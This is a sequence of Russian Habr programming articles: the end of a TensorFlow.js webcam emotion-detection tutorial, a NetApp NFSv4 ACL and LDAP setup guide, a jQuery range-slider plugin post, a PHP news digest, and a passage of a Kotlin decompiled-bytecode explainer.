webcamElement.addEventListener( "loadeddata", resolve, false );
},
error => reject());
}
else {
reject();
}
});
}
const emotions = [ "angry", "disgust", "fear", "happy", "neutral", "sad", "surprise" ];
let emotionModel = null;
let output = null;
let model = null;
async function predictEmotion( points ) {
let result = tf.tidy( () => {
const xs = tf.stack( [ tf.tensor1d( points ) ] );
return emotionModel.predict( xs );
});
let prediction = await result.data();
result.dispose();
// Get the index of the maximum value
let id = prediction.indexOf( Math.max( ...prediction ) );
return emotions[ id ];
}
async function trackFace() {
const video = document.querySelector( "video" );
const faces = await model.estimateFaces( {
input: video,
returnTensors: false,
flipHorizontal: false,
});
output.drawImage(
video,
0, 0, video.width, video.height,
0, 0, video.width, video.height
);
let points = null;
faces.forEach( face => {
// Draw the bounding box
const x1 = face.boundingBox.topLeft[ 0 ];
const y1 = face.boundingBox.topLeft[ 1 ];
const x2 = face.boundingBox.bottomRight[ 0 ];
const y2 = face.boundingBox.bottomRight[ 1 ];
const bWidth = x2 - x1;
const bHeight = y2 - y1;
drawLine( output, x1, y1, x2, y1 );
drawLine( output, x2, y1, x2, y2 );
drawLine( output, x1, y2, x2, y2 );
drawLine( output, x1, y1, x1, y2 );
// Add just the nose, cheeks, eyes, eyebrows & mouth
const features = [
"noseTip",
"leftCheek",
"rightCheek",
"leftEyeLower1", "leftEyeUpper1",
"rightEyeLower1", "rightEyeUpper1",
"leftEyebrowLower", //"leftEyebrowUpper",
"rightEyebrowLower", //"rightEyebrowUpper",
"lipsLowerInner", //"lipsLowerOuter",
"lipsUpperInner", //"lipsUpperOuter",
];
points = [];
features.forEach( feature => {
face.annotations[ feature ].forEach( x => {
points.push( ( x[ 0 ] - x1 ) / bWidth );
points.push( ( x[ 1 ] - y1 ) / bHeight );
});
});
});
if( points ) {
let emotion = await predictEmotion( points );
setText( `Detected: ${emotion}` );
}
else {
setText( "No Face" );
}
requestAnimationFrame( trackFace );
}
(async () => {
await setupWebcam();
const video = document.getElementById( "webcam" );
video.play();
let videoWidth = video.videoWidth;
let videoHeight = video.videoHeight;
video.width = videoWidth;
video.height = videoHeight;
let canvas = document.getElementById( "output" );
canvas.width = video.width;
canvas.height = video.height;
output = canvas.getContext( "2d" );
output.translate( canvas.width, 0 );
output.scale( -1, 1 ); // Mirror cam
output.fillStyle = "#fdffb6";
output.strokeStyle = "#fdffb6";
output.lineWidth = 2;
// Load Face Landmarks Detection
model = await faceLandmarksDetection.load(
faceLandmarksDetection.SupportedPackages.mediapipeFacemesh
);
// Load Emotion Detection
emotionModel = await tf.loadLayersModel( 'web/model/facemo.json' );
setText( "Loaded!" );
trackFace();
})();
```
### Что дальше? Когда мы сможем носить виртуальные очки?
Взяв код из первых двух статей этой серии, мы смогли создать детектор эмоций на лице в реальном времени, используя лишь немного кода на JavaScript. Только представьте, что ещё можно сделать с помощью библиотеки TensorFlow.js! В следующей статье мы вернёмся к нашей цели – создать фильтр для лица в стиле Snapchat, используя то, что мы уже узнали об отслеживании лиц и добавлении 3D-визуализации посредством ThreeJS. Оставайтесь с нами! **До встречи завтра, в это же время!**
* [Отслеживание лиц в реальном времени в браузере. Часть 1](https://habr.com/ru/company/skillfactory/blog/544846/)
* [Отслеживание лиц в реальном времени в браузере. Часть 2](https://habr.com/ru/company/skillfactory/blog/544850/)
* [Отслеживание лиц в реальном времени в браузере. Часть 4](https://habr.com/ru/company/skillfactory/blog/545334/)
* [Отслеживание лиц в реальном времени в браузере. Часть 5](https://habr.com/ru/company/skillfactory/blog/545336/)
* [Отслеживание лиц в реальном времени в браузере. Часть 6](https://habr.com/ru/company/skillfactory/blog/545336/)
[Узнайте подробности](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=030321), как получить Level Up по навыкам и зарплате или востребованную профессию с нуля, пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом **HABR**, который даст еще +10% скидки на обучение.
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=030321)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=030321)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=030321)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=030321)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=030321)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=030321)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=030321)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=030321)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=030321)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=030321)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=030321)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=030321)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=030321)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=030321)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=030321)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=030321)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=030321)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=030321)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=030321) | https://habr.com/ru/post/545332/ | null | ru | null |
# Мультипротокольный NAS-доступ к Netapp-ресурсам c ACLs
Небольшое предисловие к статье.
Заказчик выставил требование организовать доступ по CIFS (SMB) к некоторым NFS-экспортам, которые лежат на NetApp. Звучит вроде бы несложно: нужно создать CIFS-шару на уже экспортированном qtree. Позже было выставлено требование, что нужно гранулярно управлять доступом на эти шары. Опять-таки задача выглядит решаемой: это можно контролировать и с NetApp и через оснастку Shared Folders (share permissions). Затем выяснилось, что нужно варьировать доступ к различным подпапкам на CIFS-шаре. Это уже оказалось нетривиальной задачей. Так как нужно было настроить списки контроля доступа (ACL) и для CIFS и для NFS к одним и тем же данным.
На первый взгляд, можно воспользоваться классическими правами доступа в Linux. У каждой папки и файла есть атрибуты владельца, группы владельца и others (все остальные). Ниже приведен пример классических прав доступа в Linux.
```
>$ ls -lrt
drwxr-xr-x. 2 root root 4096 May 8 15:47 nfsv4_test
```
Но что делать, если нужно более гранулярно контролировать доступ? POSIX ACLs? Они не поддерживаются NetApp. В итоге единственным решением оказались NFSv4 ACLs.
В этой статье предлагаем описание того, как транслировать NFSv4 ACLs для Windows-пользователей. Будем проводить нашу настройку пошагово. Стиль будет максимально сжатый и емкий. Я не буду останавливаться на каждом пункте подробно, к тому же не буду приводить детального листинга всех команд. Итак, приступим.
### Привязка NetApp к LDAP
Предполагается, что в данной инфраструктуре существует сервер LDAP, через который происходит авторизация и аутентификация пользователей. Поэтому маппинг не используется и соответственно файл usermap.cfg не правится. Также не нужно вносить изменений в файлы passwd и group — все пользователи и группы берутся из LDAP. Ниже приведены параметры необходимые для нормальной работы сцепки:
```
ldap.ADdomain ##здесь указывается домен, к которому будем цепляться
ldap.base DC=com
ldap.enable on
ldap.fast_timeout.enable on
ldap.minimum_bind_level simple
ldap.name ##учетка, с которой будет проходить запрос в базу
ldap.nssmap.attribute.homeDirectory unixHomeDirectory
ldap.nssmap.attribute.uid sAMAccountName
ldap.nssmap.objectClass.posixAccount User
ldap.nssmap.objectClass.posixGroup Group
ldap.port 3268
ldap.retry_delay 10
ldap.servers ##адреса домен-контроллеров
ldap.usermap.attribute.unixaccount uid
ldap.usermap.attribute.windowsaccount sAMAccountName
```
Их необходимо выполнить на целевом vFiler. Отмечу, что существуют различные вариации этих настроек. И в вашей конкретной инфраструктуре это может не взлететь. В нашем случае мы цеплялись к AD DC с FSMO ролью Global Catalog. Проверка работоспособности сцепки на NetApp возможно провести командами *getXXbyYY* и *wcc*. Эти команды можно выполнить только в advanced mode.
Примеры корректной работы команды *getXXbyYY*:
```
FILER0*> vfiler run VFILER03 getXXbyYY getpwbyname_r ivanov
===== VFILER03
pw_name = ivanov
pw_passwd = {{******}}
pw_uid = 10000, pw_gid = 10000
pw_gecos = Ivanov, Ivan
pw_dir = /home/ivanov
pw_shell = /bin/bash
```
Если эта команда не возвращает подобный вывод, значит что-то настроено не так.
Для того, чтобы корректно работало разрешение имен и групп, в Unix-средах нужно сделать правки в файле */etc/nsswitch.conf.* Выставляем в начало ldap для строк passwd и group:
`passwd: ldap nis files
group: ldap nis files`
Есть небольшая ремарка относительно корректной работы групп в случае использования LDAP. Внутри групп, которые будут иметь доступ к Linux и Windows средам одновременно, должен быть заполнен атрибут ‘memberUid’. Важно: он должен быть заполнен в нижнем регистре. В атрибут необходимо прописать пользователей этой группы. Ниже выделено поле memberuid в атрибутах группы, которая должна быть доступна в средах Linux и Windows.

### Конфигурация NFSv4 на NetApp.
Мы хотим транслировать NFSv4 permissions (читай UNIX) в Windows среду, то есть они будут основными списками контроля доступа. Поэтому мы будем использовать для наших томов/qtree *UNIX-style permissions*.
Создаем том/qtree, создаем на нем экспорт NFS. В файле /etc/exports видим следующую картину:
`/vol/xxx_VFILER03_nfs_vol00/ACL_test -sec=sys,rw,root=192.168.0.1,nosuid`
Делаем настройку следующих опций:
```
nfs.v4.acl.enable on
nfs.v4.enable on
nfs.v4.id.allow_numerics on
```
### Конфигурация NFSv4 ACLs на Linux
Следующие настройки необходимо выполнить на конечном Linux сервере, на который и монтируется наш экспорт с NetApp.
Монтируем экспорт со следующими опциями:
*nfs acl,defaults,intr,hard,bg,tcp,auto,rw 0 0*
Затем уже внутри нашего экспорта назначаем ACLы согласно нашим потребностям. NFSv4 ACLs чуть помощнее чем POSIX ACLs и довольно близки к CIFS ACLs. Существует 2 команды для работы со списками: nfs4\_getfacl и nfs4\_setfacl. Нетрудно догадаться, что одной командой мы считываем имеющиеся списки доступа, а второй назначаем. Ниже пример настройки NFSv4 ACLS на папку test:
```
>$ nfs4_getfacl test
A::OWNER@:rwatTnNcCy
A::[email protected]:rxtncy
A::[email protected]:rwadtTnNcCy
A:g:GROUP@:rtncy
D:g:GROUP@:waxTC
A::EVERYONE@:rtncy
D::EVERYONE@:waxTC
```
Где А – allow, D – deny.
При внесении изменений воспользуемся командой:
```
>$nfs4_setfacl –e test
```
Тогда конфиг откроется в текстовом редакторе.
Как мы видим существует множество возможностей контролировать доступ для каждого файла и папки.
Теперь необходимо настроить доступы. После этого проверяем, что на Linux нужные права для нужных пользователей.
### Создание CIFS шары на NetApp
Для этого настраиваем сервисы CIFS через cifs setup.
После этого создаем CIFS шару на файлере на тот же том/qtree, на котором у нас лежит экспорт.
```
FILER0> vfiler run VFILER03 cifs shares -add ACL_test /vol/xxx_ VFILER03 _nfs_vol00/ACL_test
```
Права при создании шары оставляем EVERYONE/FULL CONTROL. Это нужно для того, чтобы не было лишних ограничений на уровне шары.
```
FILER0> vfiler run VFILER03 cifs shares
ACL_test /vol/xxx_ VFILER03 _nfs_vol00/ACL_test
everyone / Full Control
```
Права на уровне файловой системы уже регулируются при помощи инструмента NFSv4 ACLs.
Это было финальной настройкой. Теперь подключаемся теми же юзерами, которыми подключались в Linux, и проверяем доступ. У NetApp есть старая утилита, которая показывает Linux permissions в средах Windows. Называется она SecureShare. Можно также воспользоваться для проверки и ею. Ниже скриншот дополнительной вкладки после установки утилиты SecureShare.
 | https://habr.com/ru/post/335256/ | null | ru | null |
# О input[type=range], параметре multiple и как сделать, чтобы всё работало
Обычно, если вам требуется сделать блок с ползунком или даже что покруче — с выбором диапазона, то используем готовый плагин из набора [jQuery UI](http://jqueryui.com/) — [slider()](http://jqueryui.com/slider/).

На ПК всё отлично работает, мы даже не заморачиваемся, меняем стили и радуемся функционалом.
Затык приходит в том моменте, когда проект — это мобильная версия чего-либо на html и обязательно вместо поля для ввода значений нужно использовать ползунок — ну потому что удобней или же по другим каким-то причинам.
Тут и возникает проблема. На *windows phone 8* работает, на *android 4.1* версии нет, да и *iphone 4* тоже отказался нормально работать.
Первым делом нашел, что есть в сети, это [noUiSlider](http://refreshless.com/nouislider/), причем довольно хорошо работает и везде, но у меня только при первом скроллинге ползунка, потом всё лагает, пердит и дрыгается. Пришлось отказаться, причину лагов не выяснил, да и времени разбираться не было.
[egorkhmelev.github.io/jslider](http://egorkhmelev.github.io/jslider/) сразу отказался работать на мобильниках, [jqxslider](http://www.jqwidgets.com/jquery-widgets-demo/demos/jqxslider/index.htm#demos/jqxslider/jquery-range-slider.htm) хорошо, но тормоза.
Короче суть поста: это взять нативный слайдер:
```
```
Добавить ему параметр
```
multiple
```
И сделать так, чтобы появился выбор диапазона.
В документации что-то мелькает про этот параметр, но по сути нигде ничего не меняется, если его добавить.
С помощью нехитрых манипуляций со стилями и скриптами получается что-то вроде:

### Инициализация
```
$('input[name=three]').nativeMultiple({
stylesheet: "slider",
onCreate: function() {
console.log(this);
},
onChange: function(first_value, second_value) {
console.log('onchange', [first_value, second_value]);
},
onSlide: function(first_value, second_value) {
console.log('onslide', [first_value, second_value]);
}
});
```
```
```
### Параметры плагина
***stylesheet*** — дополнительный класс для слайдера.
### Параметры элемента
***min*** — минимальное значение
***max*** — максимальное значение
***step*** — шаг слайдера (по умолчанию 1, этот параметр можно опустить)
***value*** — начальное и конечное значения ползунков через запятую. При отсутствии запятой начальное и конечное равняются данному значению. При отсутствии значения начальное и конечное равны минимальному и максимальному значению соответственно.
### События
Событие ***onCreate*** возникает при инициализации слайдера.
Событие ***onSlide*** возникает при движении одного из ползунков.
Событие ***onChange*** возникает при завершении движения одного из ползунков.
Добавлю, что вот эти чудесные белые вертикальные две полосочки на ползунках работают только в ***webkit*** движках. Возможно, общее решение — это добавить ***background*** ползункам с уже нарисованными полосами.
А вот как изменять стили ползунков — в интернете уже полно статей и данной публикации не касается напрямую. Дерзайте!
Посмотреть пример и скачать плагин вы можете на этой странице: [lampaa.github.io/nativemultiple](http://lampaa.github.io/nativemultiple/) | https://habr.com/ru/post/247935/ | null | ru | null |
# PHP-Дайджест № 119 (10 – 29 октября 2017)
[](https://habrahabr.ru/company/zfort/blog/341236/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 7.2.0 RC5 и другие релизы, предложения из PHP Internals, порция полезных инструментов, и многое другое.
Приятного чтения!
### Новости и релизы
* [PHP 7.2.0 RC5](http://news.php.net/php.internals/100955) — Предпоследний релиз-кандидат из [запланированных](https://wiki.php.net/todo/php72#timetable). Финальный релиз PHP 7.2 ожидается уже 30 ноября. Обзоры нововведений можно найти [тут](https://kinsta.com/blog/php-7-2/), [тут](https://blog.martinhujer.cz/php-7-2-is-due-in-november-whats-new/), и [тут](https://habrahabr.ru/company/avito/blog/335584/) .
* [PHP 5.6.32](http://www.php.net/ChangeLog-5.php#5.6.32)
* [PHP 7.0.25](http://www.php.net/ChangeLog-7.php#7.0.25)
* [PHP 7.1.11](http://www.php.net/ChangeLog-7.php#7.1.11)
* [Symfoniacs SPB Meetup #2 — Datanyze (31 oct 2017)](https://www.meetup.com/symfoniacs-spb/events/243910813/) — Встреча PHP/Symfony разработчиков в Санкт-Петербурге.
* [MODXpo 2017](https://2017.modxpo.eu/) — Впервые в Минске 11 и 12 ноября пройдет конференция по MODX.
### PHP Internals
* [RFC: JSON\_THROW\_ON\_ERROR](https://wiki.php.net/rfc/json_throw_on_error) — Принято предложение для PHP 7.3. Функции `json_encode()` и `json_decode()` будут бросать исключение в случае ошибки и наличия соответствующего флага.
* [[RFC] Flexible Heredoc and Nowdoc Syntaxes](https://wiki.php.net/rfc/flexible_heredoc_nowdoc_syntaxes) — Улучшения многострочных текстовых блоков. Поддержка отступов, а также отмена необходимости перевода строки после закрывающего маркера.
```
php
$values = [<<<EOT
a
b
c
EOT, 'd e f'];
</code
```
### Инструменты
* [nunomaduro/collision](https://github.com/nunomaduro/collision) — [Whoops](https://github.com/filp/whoops) для консольных приложений — отображает красивые и информативные отчеты об ошибках.
* [itsgoingd/clockwork](https://github.com/itsgoingd/clockwork) — Расширение для Chrome, которое добавляет вкладку в dev tools для отладки PHP-приложений.
* [Teein/Html](https://github.com/Teein/Html) — Шаблонизатор на основе идеи виртуального DOM.
* [mark-gerarts/automapper-plus](https://github.com/mark-gerarts/automapper-plus) — Клон [.NET AutoMapper](https://github.com/AutoMapper/AutoMapper), упрощает перенос данных из объекта в объект.
* [sebastianbergmann/object-graph](https://github.com/sebastianbergmann/object-graph) — Позволяет выводить граф объектов PHP.
* [apioo/fusio](https://github.com/apioo/fusio) — API Management платформа с открытым кодом.
* [antonioribeiro/ci](https://github.com/antonioribeiro/ci) — Простой CI на базе Laravel.
* [php-censor/php-censor](https://github.com/php-censor/php-censor) — Другой популярный CI сервер на PHP.
* [enygma/expose](https://github.com/enygma/expose) — Библиотека для обнаружения попыток атак на приложение.
* [ircmaxell/PHP-Yacc](https://github.com/ircmaxell/php-yacc) — Генератор парсеров по YACC-грамматике.
* [paragonie/certainty](https://github.com/paragonie/certainty) — Автоматическое управление cacert.pem для PHP-проектов. Подробнее о проблеме в [посте](https://paragonie.com/blog/2017/10/certainty-automated-cacert-pem-management-for-php-software).
* [infection/infection](https://github.com/infection/infection) — Фреймворк для мутационного тестирования на основе AST. [Пост](https://medium.com/@maks_rafalko/infection-mutation-testing-framework-c9ccf02eefd1) в поддержку.
### Материалы для обучения
* ##### Symfony
+  [Использование событийной модели в Doctrine 2 + Symfony 3](https://habrahabr.ru/post/339580/)
+ [Symfony Flex: Будущее Symfony](https://www.sitepoint.com/symfony-flex-paving-path-faster-better-symfony/)
+ [Немного бенчмарков PHP 7.1 vs 7.2 с помощью Docker и Symfony Flex](https://symfony.fi/entry/php-7-1-vs-7-2-benchmarks-with-docker-and-symfony-flex)
+ [Symfony 4: HTTP/2 Push и предзагрузка](https://dunglas.fr/2017/10/symfony-4-http2-push-and-preloading/)
+ [Неделя Symfony #563 (9-15 октября 2017)](http://symfony.com/blog/a-week-of-symfony-563-9-15-october-2017)
+ [Неделя Symfony #564 (16-22 октября 2017)](http://symfony.com/blog/a-week-of-symfony-564-16-22-october-2017)
+ [Неделя Symfony #565 (23-29 октября 2017)](http://symfony.com/blog/a-week-of-symfony-565-23-29-october-2017)
* ##### Yii
+ [Yii development notes #15](https://www.patreon.com/posts/14876335)
+ [Yii development notes #16](https://www.patreon.com/posts/15094470)
* ##### Laravel
+ [Анонсирована Laracon Online 2018](https://laracon.net/)
+ [renatomarinho/laravel-page-speed](https://github.com/renatomarinho/laravel-page-speed) — Минифицирует HTML.
+ [laravel-shield](http://laravel-shield.com/) — Middleware для защиты ендпоинтов предназначенных для использования веб-хуками сторонних сервисов.
+ [stefanzweifel/laravel-stats](https://github.com/stefanzweifel/laravel-stats) — Artisan-команда, которая выведет разнообразную статистику кода.
+ [ajthinking/tinx](https://github.com/ajthinking/tinx) — Улучшения для Tinker.
* ##### Async PHP
+ [recoilphp/recoil 1.0](https://github.com/recoilphp/recoil) — Набор инструментов для работы с корутинами в PHP.
+ [seregazhuk/php-react-memcached](https://github.com/seregazhuk/php-react-memcached) — Асинхронный клиент для Memcached. А также пара постов от автора о создании клиента: [запросы и обработка ответов](http://seregazhuk.github.io/2017/10/09/memcached-reactphp-p1/), [соединение и ошибки](http://seregazhuk.github.io/2017/10/14/memcached-reactphp-p2/).
* ##### CMS
+ [Git и WordPress: автообновление постов из пул-реквестов](https://www.sitepoint.com/git-and-wordpress-how-to-auto-update-posts-with-pull-requests/)
+ [О будущем Drupal в контексте использования JS-фреймворков, в частности React](https://www.drupal.org/blog/drupal-looking-to-adopt-react)
+  [Magento Dare to Share. Осень — сезон Magento митапов](https://habrahabr.ru/post/340338/)
+ [Magento Tech Digest #5 — News, Tutorials and Tools (October 9-30, 2017)](https://www.maxpronko.com/blog/magento-tech-digest-5-news-tutorials-and-tools-october-9-30-2017)
* [О передаче данных из внешних слоев PHP-приложения на слой логики](https://blog.alejandrocelaya.com/2017/10/16/properly-passing-data-from-outer-layers-of-a-php-application-to-the-use-case-layer/)
* [Отправляем логи из Monolog в ELK](https://pehapkari.cz/blog/2017/10/22/connecting-monolog-with-ELK/)
* [Injectables vs.Newables](https://qafoo.com/blog/111_injectables_newables.html)
* [Быстрая и безопасная итерация массива](https://www.garfieldtech.com/blog/short-array-iteration) —
`foreach ($definition ?? [] as $id => $val) { }`
* [Непрерывный мониторинг производительности PHP-приложений с помощью Blackfire](http://tech.trivago.com/2017/10/27/continuous-performance-monitoring-for-php---the-tale-of-blackfire-at-trivago/) — Об использовании отличного профайлера [Blackfire.io](https://blackfire.io/).
* [Очередь задач на PHP с помощью](https://medium.com/devcupboard/elegant-background-jobs-in-php-c61b91bf582b) [bernardphp/bernard](https://github.com/bernardphp/bernard)
*  [Всё, что вы должны знать о переменных окружения в PHP](http://phpprofi.ru/blogs/post/72)
*  [Области сокрытия кода и рефакторинг](https://habrahabr.ru/post/340726/)
*  [array\_\* vs foreach или PHP7 vs PHP5](https://habrahabr.ru/post/340696/)
*  [AMA. Avito. Backend](https://habrahabr.ru/company/avito/blog/339996/)
*  [Поиск и исправление багов в исходниках PHP](https://habrahabr.ru/company/mailru/blog/340242/)
### Аудио и видеоматериалы
*  [Александр Макаров: Большие проекты, архитектура и фреймворки](https://www.youtube.com/watch?v=GY5xSmLnSG0)
*  [PHP Roundtable #067: Imposter syndrome and the Dunning-Kruger effect](https://www.phproundtable.com/episode/imposter-syndrome-and-the-dunning-kruger-effect)
*  [PHP Roundtable #068: PHP's Dirty Little Segfault Secret](https://www.phproundtable.com/episode/phps-dirty-little-segfault-secret-the-stack-bomb)
### Занимательное
* [josephernest/Yopp](https://github.com/josephernest/yopp) — Гениальное решение для передачи файла с телефона на компьютер и обратно.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:[email protected]) или в [твиттер](https://twitter.com/pronskiy).
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 118](https://habrahabr.ru/company/zfort/blog/339630/) | https://habr.com/ru/post/341236/ | null | ru | null |
# Kotlin под капотом — смотрим декомпилированный байткод

Просмотр декомпилированного в Java байткода Kotlin едва ли не лучший способ понять как он все-таки работает и как некоторые конструкции языка влияют на перфоманс. Многие само собой уже давно это сделали, так что особенно актуальной данная статья будет для новичков и тех, кто уже давно осилил Java и решил использовать Kotlin недавно.
Я специально упущу довольно избитые и известные моменты так как, наверное, нет смысла в сотый раз писать о генерации геттеров/сеттеров для var и подобных вещах. Итак начнем.
### Как посмотреть декомпилированный байткод в Intellij Idea?
Довольно просто — достаточно открыть нужный файл и выбрать в меню Tools -> Kotlin -> Show Kotlin Bytecode

Далее в появившемся окне просто нажимаем Decompile

Для просмотра будет использоваться версия Kotlin 1.3-RC.
Теперь, наконец-то, перейдем к основной части.
### object
Kotlin
```
object Test
```
Decompiled Java
```
public final class Test {
public static final Test INSTANCE;
static {
Test var0 = new Test();
INSTANCE = var0;
}
}
```
Я полагаю все, кто имеет дело с Kotlin знает, что object создает синглтон. Однако, далеко не всем очевидно какой именно синглтон создается и является ли он потокобезопасным.
По декомпилированному коду видно, что полученный синглтон похож на eager реализацию синглтона, он создается в тот момент, когда класслоудер загружает класс. C одной стороны static блок выполняется при загрузке класслоудером, что само по себе потокобезопасно. С другой стороны, если класслоудеров больше одного, то и одним экземпляром можно не отделаться.
### extensions
Kotlin
```
fun String.getEmpty(): String {
return ""
}
```
Decompiled Java
```
public final class TestKt {
@NotNull
public static final String getEmpty(@NotNull String $receiver) {
Intrinsics.checkParameterIsNotNull($receiver, "receiver$0");
return "";
}
}
```
Тут в общем все понятно — экстеншны являются просто синтаксическим сахарком и компилируются в обычный статический метод.
Если кого-то смутила строчка с Intrinsics.checkParameterIsNotNull, то и там все прозрачно — во всех функциях с не nullable аргументами Kotlin добавляет проверку на null и кидает исключение если вы подсунули ~~свинью~~ null, хотя в аргументах обещали этого не делать. Выглядит это так:
```
public static void checkParameterIsNotNull(Object value, String paramName) {
if (value == null) {
throwParameterIsNullException(paramName);
}
}
```
Что характерно, если написать не функцию, а extension property
```
val String.empty: String
get() {
return ""
}
```
То в результате мы получим ровно то же самое, что получили для метода String.getEmpty()
### inline
Kotlin
```
inline fun something() {
println("hello")
}
class Test {
fun test() {
something()
}
}
```
Decompiled Java
```
public final class Test {
public final void test() {
String var1 = "hello";
System.out.println(var1);
}
}
public final class TestKt {
public static final void something() {
String var1 = "hello";
System.out.println(var1);
}
}
```
С инлайном все довольно просто — функция, помеченная как inline просто целиком и полностью вставляется в то место, откуда ее вызвали. Что интересно — она также сама по себе компилится в статику, вероятно, для возможности interoperability с Java.
Вся мощь инлайна раскрывается в тот момент, когда в аргументах значится **лямбда**:
Kotlin
```
inline fun something(action: () -> Unit) {
action()
println("world")
}
class Test {
fun test() {
something {
println("hello")
}
}
}
```
Decompiled Java
```
public final class Test {
public final void test() {
String var1 = "hello";
System.out.println(var1);
var1 = "world";
System.out.println(var1);
}
}
public final class TestKt {
public static final void something(@NotNull Function0 action) {
Intrinsics.checkParameterIsNotNull(action, "action");
action.invoke();
String var2 = "world";
System.out.println(var2);
}
}
```
В нижней части опять видна статика, а в верхней видно, что лямбда в аргументе функции также инлайнится, а не создает дополнительный анонимный класс, как в случае с обычной лямбдой в Kotlin.
Примерно на этом познания inline в Kotlin у многих заканчиваются, но есть еще 2 интересных момента, а именно noinline и crossinline. Это ключевые слова, которые можно приставить к лямбде являющейся аргументом в инлайн функции.
Kotlin
```
inline fun something(noinline action: () -> Unit) {
action()
println("world")
}
class Test {
fun test() {
something {
println("hello")
}
}
}
```
Decompiled Java
```
public final class Test {
public final void test() {
Function0 action$iv = (Function0)null.INSTANCE;
action$iv.invoke();
String var2 = "world";
System.out.println(var2);
}
}
public final class TestKt {
public static final void something(@NotNull Function0 action) {
Intrinsics.checkParameterIsNotNull(action, "action");
action.invoke();
String var2 = "world";
System.out.println(var2);
}
}
```
При такой записи IDE начинает указывать, что такой инлайн бесполезен чуть менее чем полностью. А компилирует ровно в то же, что и Java — создает Function0. Почему декомпилировалось со странным (Function0)null.INSTANCE; — я без понятия, вероятнее всего это баг декомпилятора.
crossinline в свою очередь делает ровно то же, что и обычный inline (то есть если перед лямбдой в аргументе не писать вообще ничего), за небольшим исключением — в лямбде нельзя писать return, что необходимо для блокирования возможности внезапно завершить функцию, вызывающую inline. В смысле написать-то можно, но во-первых IDE будет ругаться, а во вторых при компиляции получим
> 'return' is not allowed here
Впрочем, байткод у crossinline не отличается от дефолтного инлайна — ключевое слово используется только компилятором.
### infix
Kotlin
```
infix fun Int.plus(value: Int): Int {
return this+value
}
class Test {
fun test() {
val result = 5 plus 3
}
}
```
Decompiled Java
```
public final class Test {
public final void test() {
int result = TestKt.plus(5, 3);
}
}
public final class TestKt {
public static final int plus(int $receiver, int value) {
return $receiver + value;
}
}
```
Инфиксные функции компилируются как и экстеншны в обычную статику
### tailrec
Kotlin
```
tailrec fun factorial(step:Int, value: Int = 1):Int {
val newValue = step*value
return if (step == 1) newValue else factorial(step - 1,newValue)
}
```
Decompiled Java
```
public final class TestKt {
public static final int factorial(int step, int value) {
while(true) {
int newValue = step * value;
if (step == 1) {
return newValue;
}
int var10000 = step - 1;
value = newValue;
step = var10000;
}
}
// $FF: synthetic method
public static int factorial$default(int var0, int var1, int var2, Object var3) {
if ((var2 & 2) != 0) {
var1 = 1;
}
return factorial(var0, var1);
}
}
```
tailrec является довольно занятной штукой. Как видно из кода рекурсия просто перегоняется в куда менее читаемый цикл, зато разработчик может спать спокойно, так как ничего не вылетит со Stackoverflow в самый неприятный момент. Другое дело в реальной жизни найти применение tailrec получится редко.
### reified
Kotlin
```
inline fun something(value: Class) {
println(value.simpleName)
}
```
Decompiled Java
```
public final class TestKt {
private static final void something(Class value) {
String var2 = value.getSimpleName();
